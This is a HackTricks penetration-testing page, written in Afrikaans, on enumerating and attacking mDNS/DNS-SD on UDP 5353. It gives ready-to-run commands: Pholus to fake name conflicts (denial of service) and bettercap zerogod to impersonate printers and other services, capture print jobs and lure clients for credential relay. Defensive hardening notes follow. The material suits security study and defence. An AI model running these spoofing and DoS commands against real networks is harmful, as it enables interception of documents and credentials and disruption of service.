5353/UDP Multicast DNS (mDNS) en DNS-SD
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Multicast DNS (mDNS) stel DNS-agtige naamoplossing en diensontdekking in staat binne 'n plaaslike skakel sonder 'n unicast DNS-bediener. Dit gebruik UDP/5353 en die multicast adresse 224.0.0.251 (IPv4) en FF02::FB (IPv6). DNS Diensontdekking (DNS-SD, tipies gebruik saam met mDNS) bied 'n gestandaardiseerde manier om dienste te tel en te beskryf via PTR, SRV en TXT rekords.
PORT STATE SERVICE
5353/udp open zeroconf
Belangrike protokol besonderhede wat jy dikwels tydens aanvalle sal benut:
- Name in die .local sone word via mDNS opgelos.
- QU (Query Unicast) bit kan unicast-antwoorde versoek selfs vir multicast-vrae.
- Implementasies moet pakkette wat nie van die plaaslike skakel afkomstig is nie, ignoreer; sommige stakke aanvaar steeds hulle.
- Probing/aanbieding afdwing unieke gasheer/dienste name; inmenging hier skep DoS/“naam squat” toestande.
DNS-SD diensmodel
Dienste word geïdentifiseer as _
Netwerk Verkenning en Enumerasie
- nmap teiken skandering (direkte mDNS op 'n gasheer):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap uitsending ontdekking (luister na die segment en enumerate alle DNS-SD tipes/instansies):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Lys diens tipes
avahi-browse -bt _services._dns-sd._udp
# Blaai alle dienste en los op na gasheer/poort
avahi-browse -art
- Apple dns-sd (macOS):
# Blaai alle HTTP dienste
dns-sd -B _http._tcp
# Enumereer diens tipes
dns-sd -B _services._dns-sd._udp
# Los 'n spesifieke instansie op na SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Pakket vang met tshark:
# Lewende vang
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Slegs DNS-SD diens lys vrae
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Wenk: Sommige blaaiers/WebRTC gebruik ephemerale mDNS gasheername om plaaslike IP's te masker. As jy random-UUID.local kandidate op die draad sien, los hulle op met mDNS om na plaaslike IP's te pivot.
Aanvalle
mDNS naam probing inmenging (DoS / naam squat)
Tydens die probing fase, kontroleer 'n gasheer naam uniekheid. Om te antwoord met gespoofde konflikte dwing dit om nuwe name te kies of te misluk. Dit kan diensregistrasie en ontdekking vertraag of voorkom.
Voorbeeld met Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Diens spoofing en impersonasie (MitM)
Impersonate geadverteerde DNS-SD dienste (drukkers, AirPlay, HTTP, lêer deel) om kliënte te dwing om met jou te verbind. Dit is veral nuttig om:
- Dokumente te vang deur _ipp._tcp of _printer._tcp te spoof.
- Kliënte na HTTP/HTTPS dienste te lok om tokens/kookies te versamel of payloads te lewer.
- Te kombineer met NTLM relay tegnieke wanneer Windows kliënte outentisering onderhandel met gespoofde dienste.
Met bettercap se zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Ook kyk na generiese LLMNR/NBNS/mDNS/WPAD spoofing en geloofsbrief vang/relay werkvloei:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Aantekeninge oor onlangse implementasie probleme (nuttig vir DoS/persistensie tydens betrokkenhede)
- Avahi bereikbare-assertie en D-Bus crash foute (2023) kan avahi-daemon op Linux verspreidings beëindig (bv. CVE-2023-38469..38473, CVE-2023-1981), wat diensontdekking op teikenhosts ontwrig totdat dit herbegin word.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) laat aangrensende aanvallers toe om hoë CPU te dryf en AP's te ontkoppel. As jy 'n mDNS-gateway tussen VLAN's teëkom, wees bewus van sy stabiliteit onder verkeerd gevormde of hoë-tempo mDNS.
Verdedigende oorwegings en OPSEC
- Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsgebiede roete nie, tensy 'n mDNS-gateway eksplisiet vereis word. As jy ontdekking moet oorbrug, verkies toelaatlys en tempo beperkings.
- Windows eindpunte/bedieners:
- Om naamresolusie via mDNS hard te deaktiveer, stel die registerwaarde in en herbegin:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In bestuurde omgewings, deaktiveer die ingeboude “mDNS (UDP-In)” Windows Defender Firewall reël (ten minste op die Domein profiel) om inkomende mDNS verwerking te voorkom terwyl huis/roaming funksionaliteit behou word.
- Op nuwer Windows 11 weergawes/GPO sjablone, gebruik die beleid “Rekenaar Konfigurasie > Administratiewe Sjablone > Netwerk > DNS Kliënt > Konfigureer multicast DNS (mDNS) protokol” en stel dit op Deaktiveer.
- Linux (Avahi):
- Beperk publikasie wanneer dit nie nodig is nie: stel
disable-publishing=yes
, en beperk interfaces metallow-interfaces=
/deny-interfaces=
in/etc/avahi/avahi-daemon.conf
. - Oorweeg
check-response-ttl=yes
en vermyenable-reflector=yes
tensy dit streng vereis word; verkiesreflect-filters=
toelaatlys wanneer jy reflekteer. - macOS: Beperk inkomende mDNS by gasheer/netwerk vuurmure wanneer Bonjour ontdekking nie nodig is vir spesifieke subnetwerke nie.
- Monitering: Alarmeer oor ongewone styging in
_services._dns-sd._udp.local
navrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens impersonasie.
Gereedskap vinnige verwysing
- nmap NSE:
dns-service-discovery
enbroadcast-dns-service-discovery
. - Pholus: aktiewe skandering, omgekeerde mDNS sweeps, DoS en spoofing helpers.
# Passiewe sniff (timeout sekondes)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumereer diens tipes
sudo python3 pholus3.py <iface> -sscan
# Stuur generiese mDNS versoeke
sudo python3 pholus3.py <iface> --request
# Omgekeerde mDNS sweep van 'n subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: ontdek, stoor, adverteer, en impersonate mDNS/DNS-SD dienste (sien voorbeelde hierbo).
Spoofing/MitM
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om 'n MitM in die kommunikasie tussen die kliënt en die werklike bediener uit te voer. Jy mag in staat wees om sensitiewe lêers te verkry (MitM die kommunikasie met die drukker) of selfs geloofsbriewe (Windows verifikasie).
Vir meer inligting, kyk:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Verwysings
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.